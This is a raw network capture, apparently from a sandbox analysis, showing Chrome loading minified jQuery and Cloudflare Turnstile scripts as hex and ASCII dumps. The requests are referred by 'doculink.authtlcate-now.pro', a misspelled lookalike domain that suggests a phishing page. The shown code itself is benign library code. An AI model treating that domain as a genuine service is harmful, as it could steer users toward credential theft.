2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-04-25 13:30:36 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49765	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:36 UTC	571	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:36 UTC	352	IN	HTTP/1.1 302 Found Date: Thu, 25 Apr 2024 13:30:36 GMT Content-Length: 0 Connection: close cache-control: max-age=300, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/471dc2adc340/api.js?render=explicit Server: cloudflare CF-RAY: 879eb04a19447ba8-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49766	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:36 UTC	586	OUT	GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:37 UTC	340	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 879eb04d2d3d4519-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:37 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
2024-04-25 13:30:37 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 